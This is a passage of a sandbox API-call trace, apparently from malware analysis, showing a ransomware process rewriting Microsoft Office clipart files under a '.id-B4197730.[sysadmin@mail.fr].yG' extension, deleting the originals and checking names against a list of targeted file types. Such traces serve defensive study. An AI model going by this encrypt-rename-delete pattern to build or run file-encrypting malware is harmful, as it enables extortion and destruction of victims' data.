	[0054.038] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.038] SetEndOfFile (hFile=0x350) returned 1
	[0054.038] CloseHandle (hObject=0x350) returned 1
	[0054.039] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.040] SetEndOfFile (hFile=0x34c) returned 1
	[0054.040] CloseHandle (hObject=0x34c) returned 1
	[0054.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1
	[0054.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0054.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0054.041] lstrlenW (lpString=".doc") returned 4
	[0054.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.041] lstrlenW (lpString=".docx") returned 5
	[0054.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.041] lstrlenW (lpString=".pdf") returned 4
	[0054.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.041] lstrlenW (lpString=".xls") returned 4
	[0054.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.041] lstrlenW (lpString=".xlsx") returned 5
	[0054.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.041] lstrlenW (lpString=".ppt") returned 4
	[0054.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0054.042] lstrlenW (lpString=".zip") returned 4
	[0054.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.042] lstrlenW (lpString=".rar") returned 4
	[0054.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.042] lstrlenW (lpString=".bz2") returned 4
	[0054.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.042] lstrlenW (lpString=".7z") returned 3
	[0054.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0054.042] lstrlenW (lpString=".dbf") returned 4
	[0054.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0054.042] lstrlenW (lpString=".1cd") returned 4
	[0054.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0054.042] lstrlenW (lpString=".jpg") returned 4
	[0054.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.044] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.044] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.044] GetLastError () returned 0x0
	[0054.044] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xbaaa, lpOverlapped=0x0) returned 1
	[0054.073] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xbab0, lpOverlapped=0x0) returned 1
	[0054.075] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.075] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.075] SetEndOfFile (hFile=0x350) returned 1
	[0054.075] CloseHandle (hObject=0x350) returned 1
	[0054.076] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.076] SetEndOfFile (hFile=0x34c) returned 1
	[0054.077] CloseHandle (hObject=0x34c) returned 1
	[0054.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1
	[0054.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0054.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0054.078] lstrlenW (lpString=".doc") returned 4
	[0054.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.078] lstrlenW (lpString=".docx") returned 5
	[0054.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.078] lstrlenW (lpString=".pdf") returned 4
	[0054.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.078] lstrlenW (lpString=".xls") returned 4
	[0054.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.078] lstrlenW (lpString=".xlsx") returned 5
	[0054.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.078] lstrlenW (lpString=".ppt") returned 4
	[0054.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0054.078] lstrlenW (lpString=".zip") returned 4
	[0054.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.078] lstrlenW (lpString=".rar") returned 4
	[0054.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.079] lstrlenW (lpString=".bz2") returned 4
	[0054.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.079] lstrlenW (lpString=".7z") returned 3
	[0054.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0054.079] lstrlenW (lpString=".dbf") returned 4
	[0054.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0054.079] lstrlenW (lpString=".1cd") returned 4
	[0054.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0054.079] lstrlenW (lpString=".jpg") returned 4
	[0054.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.081] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.081] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0054.081] GetLastError () returned 0x0
	[0054.081] ReadFile (in: hFile=0x384, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x504a, lpOverlapped=0x0) returned 1
	[0054.088] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x5050, lpOverlapped=0x0) returned 1
	[0054.090] ReadFile (in: hFile=0x384, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.090] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.090] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.090] CloseHandle (hObject=0x2e0) returned 1
	[0054.091] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.091] SetEndOfFile (hFile=0x384) returned 1
	[0054.092] CloseHandle (hObject=0x384) returned 1
	[0054.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1
	[0054.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0054.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0054.092] lstrlenW (lpString=".doc") returned 4
	[0054.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.092] lstrlenW (lpString=".docx") returned 5
	[0054.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.092] lstrlenW (lpString=".pdf") returned 4
	[0054.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.092] lstrlenW (lpString=".xls") returned 4
	[0054.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.093] lstrlenW (lpString=".xlsx") returned 5
	[0054.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.093] lstrlenW (lpString=".ppt") returned 4
	[0054.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0054.093] lstrlenW (lpString=".zip") returned 4
	[0054.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.093] lstrlenW (lpString=".rar") returned 4
	[0054.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.093] lstrlenW (lpString=".bz2") returned 4
	[0054.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.093] lstrlenW (lpString=".7z") returned 3
	[0054.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0054.093] lstrlenW (lpString=".dbf") returned 4
	[0054.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0054.093] lstrlenW (lpString=".1cd") returned 4
	[0054.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0054.093] lstrlenW (lpString=".jpg") returned 4
	[0054.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.094] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.094] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0054.094] GetLastError () returned 0x0
	[0054.094] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x34cb, lpOverlapped=0x0) returned 1
	[0054.127] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x34d0, lpOverlapped=0x0) returned 1
	[0054.128] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.128] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.128] SetEndOfFile (hFile=0x384) returned 1
	[0054.128] CloseHandle (hObject=0x384) returned 1
	[0054.129] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.129] SetEndOfFile (hFile=0x348) returned 1
	[0054.130] CloseHandle (hObject=0x348) returned 1
	[0054.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1
	[0054.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0054.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0054.131] lstrlenW (lpString=".doc") returned 4
	[0054.131] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0054.131] lstrlenW (lpString=".docx") returned 5
	[0054.131] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0054.131] lstrlenW (lpString=".pdf") returned 4
	[0054.131] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0054.131] lstrlenW (lpString=".xls") returned 4
	[0054.131] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0054.131] lstrlenW (lpString=".xlsx") returned 5
	[0054.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0054.131] lstrlenW (lpString=".ppt") returned 4
	[0054.131] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0054.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0054.131] lstrlenW (lpString=".zip") returned 4
	[0054.131] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0054.131] lstrlenW (lpString=".rar") returned 4
	[0054.131] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0054.131] lstrlenW (lpString=".bz2") returned 4
	[0054.131] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0054.131] lstrlenW (lpString=".7z") returned 3
	[0054.131] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0054.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0054.131] lstrlenW (lpString=".dbf") returned 4
	[0054.131] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0054.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0054.131] lstrlenW (lpString=".1cd") returned 4
	[0054.131] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0054.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0054.131] lstrlenW (lpString=".jpg") returned 4
	[0054.131] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0054.132] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.132] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0054.132] GetLastError () returned 0x0
	[0054.132] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x3d75, lpOverlapped=0x0) returned 1
	[0054.179] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3d80, lpOverlapped=0x0) returned 1
	[0054.180] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.180] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.180] SetEndOfFile (hFile=0x384) returned 1
	[0054.180] CloseHandle (hObject=0x384) returned 1
	[0054.181] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.181] SetEndOfFile (hFile=0x348) returned 1
	[0054.182] CloseHandle (hObject=0x348) returned 1
	[0054.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1
	[0054.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0054.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0054.183] lstrlenW (lpString=".doc") returned 4
	[0054.183] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0054.183] lstrlenW (lpString=".docx") returned 5
	[0054.183] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0054.183] lstrlenW (lpString=".pdf") returned 4
	[0054.183] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0054.183] lstrlenW (lpString=".xls") returned 4
	[0054.183] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0054.183] lstrlenW (lpString=".xlsx") returned 5
	[0054.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0054.183] lstrlenW (lpString=".ppt") returned 4
	[0054.183] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0054.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0054.183] lstrlenW (lpString=".zip") returned 4
	[0054.183] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0054.183] lstrlenW (lpString=".rar") returned 4
	[0054.184] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0054.184] lstrlenW (lpString=".bz2") returned 4
	[0054.184] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0054.184] lstrlenW (lpString=".7z") returned 3
	[0054.184] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0054.184] lstrlenW (lpString=".dbf") returned 4
	[0054.184] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0054.184] lstrlenW (lpString=".1cd") returned 4
	[0054.184] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0054.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0054.184] lstrlenW (lpString=".jpg") returned 4
	[0054.184] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0054.184] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.184] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0054.185] GetLastError () returned 0x0
	[0054.185] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x25ee, lpOverlapped=0x0) returned 1
	[0054.186] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x25f0, lpOverlapped=0x0) returned 1
	[0054.187] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.187] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.187] SetEndOfFile (hFile=0x384) returned 1
	[0054.187] CloseHandle (hObject=0x384) returned 1
	[0054.188] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.188] SetEndOfFile (hFile=0x348) returned 1
	[0054.189] CloseHandle (hObject=0x348) returned 1
	[0054.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1
	[0054.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0054.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0054.189] lstrlenW (lpString=".doc") returned 4
	[0054.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.189] lstrlenW (lpString=".docx") returned 5
